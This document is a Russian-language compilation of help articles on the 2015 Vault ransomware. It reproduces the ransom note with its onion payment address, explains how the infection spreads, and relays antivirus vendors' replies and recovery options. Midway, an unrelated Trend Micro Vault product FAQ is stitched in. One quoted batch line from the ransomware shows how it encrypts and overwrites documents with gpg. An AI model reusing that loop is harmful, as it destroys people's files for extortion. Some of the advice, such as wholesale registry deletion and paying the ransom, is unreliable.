Как почистить пк от вируса vault. Ремонт компьютеров и ноутбуков. Монтаж локальных сетей и СКС

(Вирус vault) Ваши рабочие документы и базы данных были зашифрованы и переименованы в формат.vault информация о шифровальщике, расшифровка.

Информация о системе:

1. ОС: Windows XP
2. Антивирус Аваст

Информация о вирусе-шифровальщике vault :

На почту пришел исполняемый java-скрипт: revault.js - (лаборатория Касперского: Trojan-Ransom.BAT.Scatter.ak)

К файлам формата doc, docx, базы 1С были добавлено расширение * .vault

При попытки открыть файлы или поменять расширение vault на используемое до шифрования к положительным результатам не приводит.

Информация от вымогателя по вирусу vault по расшифровки:

Ваши рабочие документы и базы данных были зашифрованы и переименованы в формат.vault
Для их восстановления необходимо получить уникальный ключ.

ПРОЦЕДУРА ПОЛУЧЕНИЯ КЛЮЧА вируса vault :

КРАТКО
1. Зайдите на наш веб-ресурс
2. Получите уникальный ключ
3. Восстановите файлы в прежний вид


ДЕТАЛЬНО
Шаг 1:
Скачайте Tor браузер с официального сайта: https://www.torproject.org
Шаг 2:
Используя Tor браузер посетите сайт: http://restoredz4xpmuqr.onion
Шаг 3:
Найдите Ваш уникальный VAULT.KEY на компьютере - это Ваш ключ к личной клиент-панели
Авторизируйтесь на сайте используя ключ VAULT.KEY
Перейдите в раздел FAQ и ознакомьтесь с дальнейшей процедурой
STEP 4:
После получения ключа, Вы можете восстановить файлы используя наше ПО с открытым исходным кодом или же безопасно использовать своё


ДОПОЛНИТЕЛЬНО
a) Вы не сможете восстановить файлы без уникального ключа (который безопасно хранится на нашем сервере)
b) Не забывайте про время, обычно оно играет против Вас
c) Стоимость полного восстановления на ресурсе не окончательная

Проведенные действия по лечению вируса vault :

Проверка ПК антивирусным сканером.

Ведется исследование по лечению и расшифровки вируса vault .

По шифровальщику .vault информацию прошу направлять на

Vault (Внимание!!! требуется регистрация на форуме!!!) (помогу) или почту Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript (могу не ответить пользуйтесь ) с темой " вирус vault " постараюсь помочь в лечение (бесплатно) и расшифровки данных (платно!!!).

Процедура заражения вирусом шифровальщиком vault следующая:

1. Пользователь компьютера открывает (запускает) исполняемый файл из почты
2. Происходит скачивание с сервера злоумышленника во временный каталог несколько троянцев и программа шифрования.
3. Формируется открытый и закрытый ключ для шифрования файлов.
4. Закрытый ключ сначала находится на ПК пользователя далее переносится на сервер вымогателей и удаляется на ПК пользователя, открытый ключ остается на ПК пользователя
5. Происходит шифровка файлов на ПК пользователя (Время зашифровки файлов зависит от производительности ПК).
6. Обычно после перезагрузки ПК пользователь обнаруживает свои данные с добавлением расширения.vault

Лечение вируса - шифровальщика vault:

Статья как удалить вирус шифровальщик vault самостоятельно с компьютера без переустановки.

Как восстановить и расшифровать файлы после вируса vault варианты (2015.11.16):

1. И нструмент восстановления предыдущих версий файлов и папок. Находится в свойствах файла.
2. Восстановление данных из корзины.
3. Ищем файл secring.gpg .Файл этот должен быть создан на вашем ПК (как правило в %TEMP% пользователя) в момент запуска процесса шифрования. (если вы нашли данный файл (это закрытый ключ) Вам очень повезло. Пишите на .
4. Информация о ваших зашифрованных файлах хранится в файле CONFIRMATION.KEY . Так же для расшифровки вам понадобится VAULT.KEY . Как связаться с хакерами рассказано непосредственно в информационном сообщении, которое вы получаете после заражения. Сервер хакеров работает не круглосуточно, а примерно 12 часов в сутки. Вам придется сидеть и проверять время от времени его доступность.

Если вы пострадали от данного вируса-шифровальщика .vault направляйте информацию о заражение на с темой " вирус vault " постараюсь помочь в лечение и расшифровки данных.

Ответ Drweb на (2015.03.31):

Здравствуйте.
К сожалению, в данном случае расшифровка не в наших силах.

Собственно шифрование файлов выполнено общедоступным легитимным криптографическим ПО GPG (GnuPG)
Криптосхема на базе RSA-1024.
Подбор ключа расшифровки, к сожалению, невозможен.

Основная рекомендация:
обратитесь с заявлением в территориальное управление "К" МВД РФ;
по факту несанкционированного доступа к компьютеру, распространения вредоносных программ и вымогательства.
Образцы заявлений, а также ссылка на госпортал ("Порядок приема сообщений о происшествии в органах внутренних дел РФ") есть на нашем сайте: http://legal.drweb.com/templates

Поскольку это RSA-1024, без содействия со стороны автора/хозяина троянца - вольного или невольного (арест соотв. людей правоохранительными органами) -
расшифровка не представляется практически возможной.

Ответ Службы Технической Поддержки ЗАО "Лаборатория Касперского":

Здравствуйте!

В последнее время мы часто получаем запросы, связанные с действиями программ-шифровальщиков.
Некоторые вредоносные программы-шифровальщики используют технологии шифрования с помощью открытого ключа. Сама по себе эта технология является надежным способом защищенного обмена важными сведениями, однако злоумышленники используют её во вред. Они создают программы, которые, попав в компьютер, шифруют данные таким образом, что расшифровать их можно только имея специальный «приватный» ключ шифрования. Его злоумышленники, как правило, оставляют у себя и требуют деньги в обмен на ключ. К сожалению, в данной ситуации информацию практически невозможно расшифровать за приемлемое время, не имея «приватного» ключа шифрования.

Лаборатория Касперского ведёт постоянную работу по борьбе с подобными программами. В частности, иногда, принцип шифрования, используемый злоумышленниками, удается выяснить благодаря изучению кода вредоносной программы и создать утилиту для дешифровки данных. Тем не менее, существуют образцы вредоносного ПО, анализ которых не дает подобной ценной информации.

Для расшифровки файлов воспользуйтесь нашими утилитами (Rector Decryptor, RakhniDecryptor, RannohDecryptor, ScatterDecryptor или Xorist Decryptor) по ссылке: http://support.kaspersky.ru/viruses/utility

Каждая утилита содержит краткое описание, небольшую информацию о признаках заражения и инструкцию по работе. Пожалуйста, попробуйте выполнить расшифровку, выбрав соответствующую по описанию утилиту. Если расшифровать файлы не удалось, необходимо дождаться очередного обновления утилиты. Дата обновления для каждой утилиты указана в явном виде.

К сожалению, это всё, что можно сделать в данном случае.

Также рекомендуем Вам ознакомиться со следующими статьями:

Программа Vault дает возможность хранить важные файлы в безопасном месте, защищенном паролем. Если вы сообщаете об утере или краже компьютера, программа Vault автоматически блокирует хранилище и запрещает доступ к его содержимому даже при вводе верного пароля.

Каким типом шифрования защищены файлы в программе Vault?

В программе Vault для защиты файлов используется алгоритм AES со 128-разрядным ключом. Получить доступ к файлам в разумные сроки можно только с помощью передовых инструментов дешифрования. Безопасность также зависит от надежности пароля, поэтому не выбирайте легко угадываемый пароль.

Почему требуется инициализация программы Vault?

Предоставление адреса электронной почты и пароля для инициализации Vault защищает содержимое и позволяет восстановить пароль, если вы его забудете.

Где находится программа Vault?

Доступ к хранилищу можно получить, дважды щелкнув значок программы Vault на рабочем столе Windows. Если хранилище заблокировано, программа Vault запросит пароль.

Как разблокировать или заблокировать хранилище Vault?

Щелкните правой кнопкой мыши значок Vault на рабочем столе и выберите необходимый вариант. Чтобы разблокировать хранилище Vault, необходимо ввести пароль.

Какие файлы нуждаются в защите?

Программу Vault можно использовать для защиты следующих файлов:

локальные копии чеков или подтверждающих сообщений от интернет-магазинов;

списки паролей;

конфиденциальные файлы с коммерческими данными;

файлы с личными сведениями.

Я забыл пароль. Что делать?

Восстановление пароля выполняется с использованием адреса электронной почты, которой был указан при установке программы Vault. Для доступа к системе восстановления пароля щелкните правой кнопкой мыши значок Vault на рабочем столе и выберите пункт Открыть либо пункт Разблокировать хранилище , а затем в открывшемся окне щелкните ссылку Получение пароля по электронной почте .

Система Trend Micro автоматически отправит пароль по адресу электронной почты, указанному при установке пароля, поэтому необходимо убедиться в наличии доступа к данной учетной записи. Если ввести неверный адрес электронной почты, ваш пароль может получить другой пользователь.

Можно ли изменить пароль?

Храните пароль в секрете, чтобы обеспечить максимальную защиту файлов. При разглашении пароля другим лицам он должен быть немедленно изменен.

Для редактирования пароля откройте главную консоль программы безопасности, нажмите кнопку Настройки , разверните пункт Другие параметры и выберите пункт Пароль .

Прим.:

Vault и общие параметры программы безопасности защищены одним и тем же паролем.

Как выбрать надежный пароль?

Чем длиннее пароль, тем он надежнее.

Не используйте имена или слова, которые можно найти в словаре. Используйте фонетические замещения, чтобы сделать распространенные слова непонятными. Например, вместо слова late можно написать l8, а вместо fast talker - f@st_t@lk3r.

Используйте комбинации букв в различных регистрах, чисел и других символов.

Избегайте использования простых шаблонов, например «101010» или «abcde».

Можно ли изменить адрес электронной почты?

Чтобы изменить адрес электронной почты, на который необходимо отправлять напоминание пароля, выполните указанные ниже действия.

Откройте главную консоль программы безопасности и нажмите кнопку Настройки .

Разверните пункт Другие параметры и выберите пункт Пароль .

Можно ли использовать хранилище Vault как обычную папку ОС Windows?

Компания Trend Micro разработала хранилище для хранения файлов и папок. Файлы можно скопировать или переместить в хранилище точно так же, как в любую папку ОС Windows. Однако следует учитывать некоторые отличия хранилища Vault от обычной папки.

Перетаскивание файла или папки в хранилище Vault приводит к их перемещению, а не просто копированию в него, даже если при щелчке файла удерживается нажатой клавиша CTRL .

При перетаскивании файла или папки из хранилища Vault резервная копия файла или папки остается в хранилище.

Новые файлы нельзя создавать непосредственно в хранилище Vault, но в него можно копировать или перемещать новые файлы, созданные в других папках.

Можно ли открывать файлы в хранилище Vault?

Да, можно непосредственно открывать файлы, хранящиеся в Vault.

Что произойдет, если после открытия файла в хранилище Vault оно будет заблокировано?

Если файл был открыт в хранилище Vault, когда произошло его блокирование, просто введите пароль Vault перед повторным сохранением файла.

Можно ли создавать файлы и папки непосредственно в хранилище Vault?

Папки можно создавать непосредственно в хранилище Vault, однако для файлов такая возможность недоступна. По завершении работы с важным файлом переместите его в Vault.

Могут ли другие пользователи, работающие на моем компьютере, получать доступ к хранилищу Vault?

Пользователи, вошедшие в систему компьютера с использованием других имен пользователей и паролей, не будут иметь доступ к хранилищу Vault.

Как можно сообщить об утере или краже компьютера?

Если компьютер утерян или украден, хранилище Vault следует немедленно заблокировать с помощью службы «Сообщить об украденном компьютере». Для получения доступа к этой службе требуется адрес электронной почты и пароль, указанные при инициализации. После сообщения об утере компьютера значок Vault пропадает с рабочего стола и хранилище блокирует само себя. Никто не сможет открыть заблокированное хранилище Vault, пока владелец не сообщит о возврате компьютера.

Насколько быстро программа Vault блокирует хранилище после получения сообщения об утере или краже компьютера?

При наличии подключения к Интернету программа Vault регулярно связывается с Trend Micro для получения информации о состоянии компьютера. Если было получено сообщение об утере или краже компьютера, значок Vault исчезнет с рабочего стола и хранилище будет заблокировано сразу после следующей проверки состояния программой Vault.

Следует ли блокировать или разблокировать хранилище Trend Micro Vault после перезагрузки компьютера?

В случае перезагрузки компьютера хранилище Trend Micro Vault будет заблокировано в целях обеспечения безопасности. Хранилище Vault также блокируется при возврате компьютера из режима экранной заставки.

Как восстановить доступ к хранилищу Vault после возврата компьютера?

Необходимо сообщить об обнаружении компьютера в службу «Сообщить об украденном компьютере». Программа Vault регулярно обращается в эту службу для получения информации о состоянии компьютера. Значок Vault снова появится на рабочем столе Windows, и хранилище будет автоматически разблокировано сразу после поступления сообщения о возврате компьютера. Даже после разблокировки хранилище Vault будет оставаться недоступным, пока не будет введен правильный пароль.

Что произойдет, если будет случайно удалена папка Vault?

Удаление значка Vault с рабочего стола невозможно, однако можно удалить саму папку другими способами. При удалении папки программы Vault также будут удалены все находящиеся в ней защищенные файлы.

Недавно пользователи столкнулись с новой угрозой – вирусом, который шифрует файлы, заменяя стандартные расширения. В результате документы, аудио и видеозаписи, изображения становятся недоступными. За ключ для расшифровки злоумышленники требуют серьезные деньги.

Шифровальщики настолько опасны, что от них не могут спастись даже крупные организации: например, в феврале 2016 года Голливудскому пресвитерианскому медицинскому центру пришлось заплатить злоумышленникам 17000$ за ключ для дешифровки. Доподлинно неизвестно, какой шифровальщик поработал в Голливуде, но пользователи Рунета обычно встречаются с вирусом Vault. Поэтому давайте посмотрим, как восстановить файлы после вируса Vault, если это возможно.

Как восстановить файлы после вируса Vault

Обнаружение вируса

Заражение сложно не заметить: файлы автоматически начнут менять расширение на.vault и перестанут открываться, а на экране появится сообщение типа «Данные заблокированы. Для их восстановления необходимо получить уникальный ключ». Ниже обычно указан адрес сайта и инструкция по оплате и получению кода дешифровки.

Если вы увидели такое сообщение, то необходимо немедленно выключить компьютер и вытащить все съемные носители. Vault шифрует информацию постепенно, поэтому у вас есть время, чтобы спасти некоторые файлы.

Но как вирус попал на компьютер? Вероятнее всего, по электронной почте. Пользователям приходит письмо с важной темой (кредитная задолженность, повестка в суд, подтверждение оплаты и т.д.), они послание открывают, после чего на компьютер скачивается программа для шифрования и баннер Ваулт с инструкцией по оплате кода дешифровки.

Для шифровки используется бесплатная и безобидная программа GPG, применяющая алгоритм RSA-1024. Формально это не вирус, поэтому антивирусная защита не срабатывает. Но ключ, необходимый для расшифровки информации, остается у хакера, а взломать код не получится – на это уйдет несколько лет перебора значений. Поэтому не открывайте письма от неизвестных отправителей!

Удаление шифровальщика

Удалить Ваулт достаточно просто: он не глубоко проникает в систему и портит жизнь только тем, что закрывает доступ к информации. Для чистки системы используйте лечащую утилиту Dr.Web CureIt! или Kaspersky Virus Removal Tool. Запускать эти утилиты следует в безопасном режиме Windows.

Порядок простой:

Дополнительно следует удалить компоненты Ваулт, которые хранятся в скрытой папке по адресу C:\Users\Пользователь\AppData\Loca\Temp. Структура вредоносного кода выглядит следующим образом:

• 3c21b8d9.cmd.


• fabac41c.js.


• 04fba9ba_VAULT.KEY.


• VAULT.txt.


• Sdc0.bat.


• CONFIRMATION.KEY.


• VAULT.KEY.

Последние два компонента вам пригодятся, если вы решите заплатить злоумышленникам за расшифровку. В них хранится открытая часть ключа (у хакеров закрытая часть, без которой код не снять) и информация о количестве зашифрованных данных.

Есть и другой вариант – записать на флешку Kaspersky Rescue Disk и загрузить с неё компьютер. Вам понадобится работающий компьютер, флешка, утилита для записи и образ Kaspersky Rescue Disk 10.

Расшифровка файлов

С вредоносным ПО вы быстро справитесь, но дальше возникнет серьезная проблема – не существует дешифратора, который быстро откроет доступ к информации, зашифрованной по алгоритму RSA-1024. Позиция крупных разработчиков антивирусного ПО сводится к тому, что у них нет технической возможности взломать код. Поэтому вариантов остается немного:

• Если утеряна информация, которая не представляет большой ценности, то её проще удалить с компьютера. И запомнить, что не нужно открывать странные письма от неизвестных отправителей.


• Если зашифрованные данные представляют большую ценность, придется заплатить отправителям вирусного ПО. Это крайний вариант, потому что нет уверенности, что вас не обманут. К тому же вы стимулируете злоумышленников продолжать рассылать зараженные письма, ведь это приносит им деньги.

Из доступных способов расшифровки можно попробовать несколько вариантов, но нет гарантии, что они дадут положительный результат:

1. Обратитесь на форум технической поддержки крупных разработчиков антивирусных программ. Лаборатория Касперского, Dr.Web, ESET. База данных шифровальщиков постоянно расширяется. Опишите подробно проблему, возможно, у них найдутся инструменты для её решения.


2. Используйте теневые копии файлов (актуально, если была включена защита системы).

Откройте свойства зашифрованного файла и перейдите на вкладку «Предыдущие версии».

Если есть прежние, незашифрованные редакции, то вы можете их открыть или восстановить. В таком случае данные с расширением.vault нужно удалить с компьютера. К сожалению, других работающих способов нет. Поэтому лучше избегать встречи с шифровальщиком: не открывать странные письма, не скачивать подозрительные программы, не переходить по неизвестным ссылкам.

Сегодня мы поговорим с вами на тему: "Подхватили "Vault"-вирус: что делать?". Данная тема очень важна, особенно в современном мире, где разнообразная компьютерная зараза буквально на каждом шагу. Что это такое? Где можно встретить данную гадость? Как она действует? Обо всем этом сейчас и пойдет речь.

"С кем имею честь?"

Первым делом стоит начать с того, что мы с вами узнаем, что же это за дрянь такая: "Vault"-вирус. Что делать с ним и как бороться, поговорим чуть позже.

Как уже было сказано, нам придется иметь дело с так называемым шифровальщиком данных. Он проникает в операционную систему и начинает менять (зашифровывать) расширения всех ваших данных. Хорошо, если это только личная информация. А если компьютерная зараза добралась до системных файлов, то дела совсем плохи.

Если вы поймали вирус "Vault", что делать - не знаете, то первым делом потребуется понять, откуда этот "зверь" взялся на компьютере. Дело все в том, что выглядит данная вещица по-разному. У кого-то это программа для архивирования данных, а у кого-то он кажется специальным расширением для браузера. Итог один - у вас "угоняют" выход во да еще и ваши файлы потихоньку шифруются. Вот такой хитрый "Vault"-вирус. Что делать с ним? Сейчас мы с этим разберемся.

Проверка

Что ж, первый этап борьбы с абсолютно любой заразой на компьютере - это ничто иное, как проверка вашей системы на наличие вредоносных файлов и шпионов. Для этого потребуется Если вы думаете над вопросом: "Vault"-вирус: как лечить?", то лучше всего использовать Dr.Web или Nod32. Если они вам не по вкусу, то можно вполне воспользоваться и "Авастом".

Обновите базу данных с вирусами, а затем запустите глубокую проверку. Этот процесс может занять у вас довольно много времени. Тем не менее придется подождать. После завершения взгляните на результаты. Среди них обязательно будет проявляться вирус-шифровальщик "Vault". Что делать с полученными данными? Достаточно просто попытаться вылечить все вредоносное программное обеспечение. Что не поддается лечению - удалите. Это делается при помощи специальной кнопки в антивирусе. Теперь, когда вы просканировали компьютер, можно приступить к следующему этапу.

Избавление от программ

Итак, настало время для того, чтобы начать наводить порядок на компьютере. Если вы думаете над вопросом: "Vault"-вирус: как лечить?", то постарайтесь избавить операционную систему от разнообразного странного контента и программ, которые вы давно уже не используете, как можно скорее.

Дело все в том, что и угонщики браузеров, и шифровальщики очень любят прописывать в компьютер разного рода бесполезный контент, которые помогает зашифровывать данные. Избавление от таких программ упростит задачу лечения операционной системы.

Для того, чтобы ответить на вопрос: раз и навсегда?", перейдите в а оттуда пройдите в "Установку и Подождите, пока сформируется список установленного контента, а потом удалите все программы, которые вам незнакомы. Заодно очистите систему от тех приложений, что уже долгое время "пылятся" в сторонке. Готово? Тогда можете закрывать появившееся окошко и приступать к следующим мерам, которые обязательно помогут вам справиться с поставленной задачей.

Реестр

Когда пользователи сталкиваются с вопросом: "Vault"-вирус: что делать при инфицировании?", многие забывают о такой важной вещи, как реестр компьютера. Именно в него "прописывается" компьютерная зараза, от которой потом бывает довольно трудно избавиться.

Значит, давайте думать, каким именно можно очистить реестр. Для этого придется выполнить специальную команду (она помогает попасть в необходимую нам службу). Нажмите Win + R, а затем выполните команду "regedit". После того как вы нажмете на "Ввод", у вас откроется реестр компьютера. Можно продолжать думать над темой: ""Vault"-вирус: как удалить?".

Что ж, после того как мы попадем в нужную нам службу, придется подумать, куда требуется "залезть", дабы справиться с поставленной задачей. Слева вы увидите много папок с длинными названиями. Мастерски обходим их и направляемся в "правку". Там находим "поиск" и набираем в строчке "Vault". Запустите сканирование и дождитесь, пока вам будут показаны результаты проверки.

Все, что только обнаружит ваш компьютер, придется удалить. Не стоит бояться - после этого у вас не "слетит" операционная система, а файлы не будут повреждены. Так что просто кликайте по строчкам правой кнопкой мышки, а затем выбирайте команду "удалить". Готово? Тогда двигаемся дальше. Остается всего лишь несколько простых шагов, которые помогут решить проблему с нашим сегодняшним шифровальщиком.

Помощь программ

Наверное, при борьбе с любой вредоносной программой нельзя обойтись без так называемых сторонних программ, которые помогают найти и "обезвредить" вирусы. Например, прекрасным выбором будет Cclener. Это приложение, которое очищает реестр компьютера (наиболее эффективна после ручной очистки данной службы) и помогает освободить местечко на системном диске C.

Вам достаточно просто скачать Ccleaner и установить его. После запуска в левой части окна просто выставите желаемые настройки сканирования (какие разделы "обыскивать"), а затем нажмите на кнопочку "Сканировать". Всего несколько секунд - и результаты уже в ваших руках. Остается кликнуть по "Очистить" и посмотреть на итог.

Кроме того, если вы думаете над темой: "Vault"-вирус: что делать?", можете воспользоваться еще и так называемым SpyHunter. Это контент, помогающий обнаружить вредоносное ПО и шпионские программы, а также удаляющий подобного рода заразу. После установки и сканирования можно будет перезагрузить компьютер. В конечном итоге вирус больше не будет беспокоить вас.

Что делать с файлами?

Но теперь у вас должен появиться вопрос: "Что же делать с зашифрованными личными данными?". На самом деле, можно выбрать один из нескольких доступных способов.

Первый подходит особо осторожным пользователям. Такие, как правило, все свои файлы записывают на сторонние носители. Им можно предложить совершить удаление поврежденного контента, после чего произвести замену на "нормальные" данные.

Второй вариант - это использование специальных служб от антивирусных программ. Им отсылаются зашифрованные данные, после чего вам в ответ придет расшифровка. Довольно большим успехом пользуется Dr.Web в этом непросто деле. Вот и все. Теперь вы знаете, что делать, если вы подхватили вирус "Vault".

Здравствуйте, уважаемые читатели. Довелось мне познакомиться с одним очень неприятным и опасным шифровальщиком, который шифрует пользовательские данные, заменяя им стандартное расширение. После заражения вирусом шифровальщиком vault сразу же возникает главный вопрос — как восстановить поврежденные файлы и провести расшифровку информации. К сожалению, простого решения данной задачи не существует в силу особенностей механизма работы зловреда и находчивости злоумышленников.

Описание вируса шифровальщика vault

Все начинается с того, что у вас внезапно открывается текстовый файл в блокноте следующего содержания:

Ваши рабочие документы и базы данных были заблокированы и помечены форматом.vаult Для их восстановления необходимо получить уникальный ключ ПРОЦЕДУРА ПОЛУЧЕНИЯ КЛЮЧА: КРАТКО 1. Зайдите на наш веб-ресурс 2. Гарантированно получите Ваш ключ 3. Восстановите файлы в прежний вид ДЕТАЛЬНО Шаг 1: Скачайте Tor браузер с официального сайта: https://www.torproject.org Шаг 2: Используя Tor браузер посетите сайт: http://restoredz4xpmuqr.onion Шаг 3: Найдите Ваш уникальный VAULT.KEY на компьютере - это Ваш ключ к личной клиент-панели. Не удалите его Авторизируйтесь на сайте используя ключ VAULT.KEY Перейдите в раздел FAQ и ознакомьтесь с дальнейшей процедурой STEP 4: После получения ключа, Вы можете восстановить файлы используя наше ПО с открытым исходным кодом или же безопасно использовать своё ПО ДОПОЛНИТЕЛЬНО a) Вы не сможете восстановить файлы без уникального ключа (который безопасно хранится на нашем сервере) b) Если Вы не можете найти Ваш VAULT.KEY, поищите во временной папке TEMP c) Ваша стоимость восстановления не окончательная, пишите в чат Дата блокировки: 08.04.2015 (11:14)

Появление такого сообщения уже означает, что vault вирус заразил ваш компьютер и начал шифрование файлов. В этот момент необходимо сразу же выключить компьютер, отключить его от сети и вынуть все сменные носители. Как провести лечение от вируса мы поговорим позже, а пока я расскажу, что же произошло у вас в системе.

Скорее всего вам пришло письмо по почте от доверенного контрагента или замаскированное под известную организацию. Это может быть просьба провести бухгалтерскую сверку за какой-то период, просьба подтвердить оплату счета по договору, предложение ознакомиться с кредитной задолженностью в сбербанке или что-то другое. Но информация будет такова, что непременно вас заинтересует и вы откроете почтовое вложение с вирусом. На это и расчет.

Итак, вы открываете вложение, которое имеет расширение.js и является ява скриптом. По идее, это уже должно вас насторожить и остановить от открытия, но если вы читаете эти строки, значит не насторожило и не остановило. Скрипт скачивает с сервера злоумышленников троян или банер ваулт, как его в данном случае можно назвать, и программу для шифрования. Складывает все это во временную директорию пользователя. И сразу начинается процесс шифрования файлов во всех местах, куда у пользователя есть доступ — сетевые диски, флешки, внешние харды и т.д.

В качестве шифровальщика vault выступает бесплатная утилита для шифрования gpg и популярный алгоритм шифрования — RSA-1024 . Так как по своей сути эта утилита много где используется, не является вирусом сама по себе, антивирусы пропускают и не блокируют ее работу. Формируется открытый и закрытый ключ для шифрования файлов. Закрытый ключ остается на сервере хакеров, открытый на компьютере пользователя.

Проходит некоторое время после начала процесса шифрования. Оно зависит от нескольких факторов — скорости доступа к файлам, производительности компьютера. Дальше появляется информационное сообщение в текстовом файле, содержание которого я привел в самом начале. В этот момент часть информации уже зашифрована.

Конкретно мне попалась модификация вируса vault, которая работала только на 32 битных системах. Причем на Windows 7 с включенным UAC выскакивает запрос на ввод пароля администратора. Без ввода пароля вирус ничего сделать не сможет. На Windows XP он начинает работу сразу после открытия файла из почты, никаких вопросов не задает.

Вирус ставит расширение vault на doc, jpg, xls и других файлах

Что же конкретно делает с файлами вирус? На первый взгляд кажется, что он просто меняет расширение со стандартного на .vault . Когда я первый раз увидел работу этого virus-шифровальщика, я так и подумал, что это детская разводка. Переименовал обратно файл и очень удивился, когда он не открылся как полагается, а вместо положенного содержания открылась каша из непонятных символов. Тут я понял, то все не так просто, начал разбираться и искать информацию.

Вирус прошелся по всем популярным типам файлов — doc , docx , xls , xlsx , jpeg , pdf и другим. К стандартному имени файла прибавилось новое расширение.vault. Некоторым он шифрует и файлы с локальными базами 1С. У меня таких не было, так что сам лично я это не наблюдал. Простое переименовывание файла обратно, как вы понимаете, тут не помогает.

Так как процесс шифрования не мгновенный, может так получиться, что когда вы узнаете о том, что у вас шурует вирус на компьютере, часть файлов еще будет нормальная, а часть зараженная. Хорошо, если не тронутой останется большая часть. Но чаще всего на это рассчитывать не приходится.

Расскажу, что скрывается за сменой расширения. После шифрования, к примеру, файла file.doc рядом с ним вирус vault создает зашифрованный файл file.doc.gpg, затем зашифрованный file.doc.gpg перемещается на место исходного с новым именем file.doc, и только после этого переименовывается в file.doc.vault. Получается, что исходный файл не удаляется, а перезаписывается зашифрованным документом. После этого его невозможно восстановить стандартными средствами по восстановлению удаленных файлов. Вот часть кода, которая реализует подобный функционал:

Dir /B "%1:"&& for /r "%1:" %%i in (*.xls *.doc) do (echo "%%TeMp%%\svchost.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& rename "%%i" "%%~nxi.vault">> "%temp%\cryptlist.lst" echo %%i>> "%temp%\conf.list")

Как удалить вирус vault и вылечить компьютер

После обнаружения вируса шифровальщика первым делом необходимо от него избавиться, проведя лечение компьютера. Лучше всего загрузиться с какого-нибудь загрузочного диска и вручную очистить систему. Virus vault в плане въедливости в систему не сложный, вычистить его легко самому. Я подробно не буду останавливаться на этом моменте, так как тут подойдут стандартные рекомендации по удалению вирусов шифровальщиков, банеров и троянов.

Само тело вируса находится во временной папке temp пользователя, который его запустил. Вирус состоит из следующих файлов. Названия могут меняться, но структура будет примерно такой же:

• 3c21b8d9.cmd
• 04fba9ba_VAULT.KEY
• CONFIRMATION.KEY
• fabac41c.js
• Sdc0.bat
• VAULT.KEY
• VAULT.txt

VAULT.KEY - ключ шифрования. Если вы хотите расшифровать ваши данные, этот файл обязательно надо сохранить. Его передают злоумышленникам и они на его основе выдают вам вторую пару ключа, с помощью которого будет происходить расшифровка. Если этот файл потерять, данные восстановить будет невозможно даже за деньги.

CONFIRMATION.KEY - содержит информацию о зашифрованных файлах. Его попросят преступники, чтобы посчитать сколько денег с вас взять.

Остальные файлы служебные, их можно удалять. После удаления надо почистить автозагрузку, чтобы не было ссылок на удаленные файлы и ошибок при запуске. Теперь можно запускать компьютер и оценивать масштабы трагедии.

Как восстановить и расшифровать файлы после вируса vault

Вот мы и подошли к самому главному моменту. Как же нам получить обратно свою информацию. Компьютер мы вылечили, что могли восстановили, прервав шифрование. Теперь надо попытаться расшифровать файлы. Конечно, проще и желанней всего было бы получить готовый дешифратор vault для расшифровки, но его не существует. Увы, но создать инструмент, чтобы дешифровать данные, зашифрованные ключом RSA-1024 технически невозможно.

Так что к великому сожалению, вариантов тут не очень много:

Если ничего из перечисленного выше вам не помогло, а информация зашифровалась очень важная, у вас остается только один вариант — платить деньги создателям вируса для получения дешифратора vault. По отзывам в интернете это реально работает, есть шанс с высокой долей вероятности восстановить свои файлы. Если бы это было не так, то никто бы не платил деньги после нескольких отрицательных отзывов.

Вирус vault настолько популярен, что в сети появилась реклама, где некие товарищи предлагают за деньги торговаться с хакерами, чтобы сбить цену на расшифровку данных. Я не знаю, насколько реально они сбивают цену и сбивают ли вообще, возможно это просто разводилы, которые возьмут с вас деньги и смоются. Тут уже действуйте на свой страх и риск. Я знаю только, что сами хакеры реально восстанавливают информацию. Одна знакомая компания, где пострадали сетевые диски, и из бэкапов не смогли полностью восстановить данные, заплатили злоумышленникам и смогли восстановить часть информации. Но только часть, потому что вышла накладка. Так как было почти одновременно заражено несколько компьютеров, то и шифрование производилось не с одного, а как минимум с двух одновременно. При оплате же ты покупаешь только один ключ дешифратора vault от одной машины. Чтобы расшифровать файлы, зашифрованные вторым компьютером пришлось бы отдельно покупать закрытый ключ еще и к нему. Это делать не стали, удовлетворившись полученным результатом.

Какую цену назначат вам за расшифровку зависит от количества зашифрованных файлов и от вашего умения найти общий язык с шифраторами. С хакерами возможно живое общение в чате. Информация о ваших зашифрованных файлах хранится в CONFIRMATION.KEY , о котором я упоминал ранее. Так же для расшифровки вам понадобится VAULT.KEY . Как связаться с хакерами рассказано непосредственно в информационном сообщении, которое вы получаете после заражения. Сервер хакеров работает не круглосуточно, а примерно 12 часов в сутки. Вам придется сидеть и проверять время от времени его доступность.

Больше мне нечего добавить по теме дешифровки данных. Пробуйте варианты. Вообще, выходит чистая уголовщина и суммы гоняют приличные эти негодяи. Но как найти управу на преступников я не знаю. Куда жаловаться? Участковому?

Повторю еще раз на всякий случай. Для описанной мной модификации vault дешифратора не существует! Не тратьте деньги, если кто-то будет предлагать вам его купить. Создать дешифратор ваулт в данном случае технически невозможно.

Касперский, drweb и другие антивирусы в борьбе с шифровальщиком vault

А что же антивирусы нам могут предложить в борьбе с этой зашифрованной напастью? Лично я был свидетелем заражения вирусом на компьютерах с установленной и полностью обновленной лицензионной версией eset nod32. Он никак не отреагировал на запуск шифровальщика. Возможно уже сейчас что-то изменилось, но на момент моего поиска информации по данному вопросу, ни один из вирусов не гарантировал защиту пользователя от подобных угроз. Я читал форумы популярных антивирусов — Kaspersky, DrWeb и другие. Везде разводят руками — помочь с дешифровкой мы не можем, это технически невозможно.

Один раз в новостях Касперского проскочила инфа, что правоохранительные органы Голландии арестовали злоумышленников и конфисковали их сервер с закрытыми ключами шифрования. С помощью добытой информации умельцы из Kaspersky сварганили дешифратор, с помощью которого можно было восстановить зашифрованные файлы. Но, к сожалению, это были не те хакеры, с которыми столкнулся я и мне тот дешифровщик ничем не помог. Возможно, когда-нибудь и этих поймают, но достаточно велик шанс, что к этому времени зашифрованные файлы уже будут не актуальны.

Методы защиты от vault вируса

Какого-то надежного и 100%-го способа защиты от подобных вирусов не существует. Можно лишь повторить стандартные рекомендации, которые актуальны для любых вирусов в интернете:

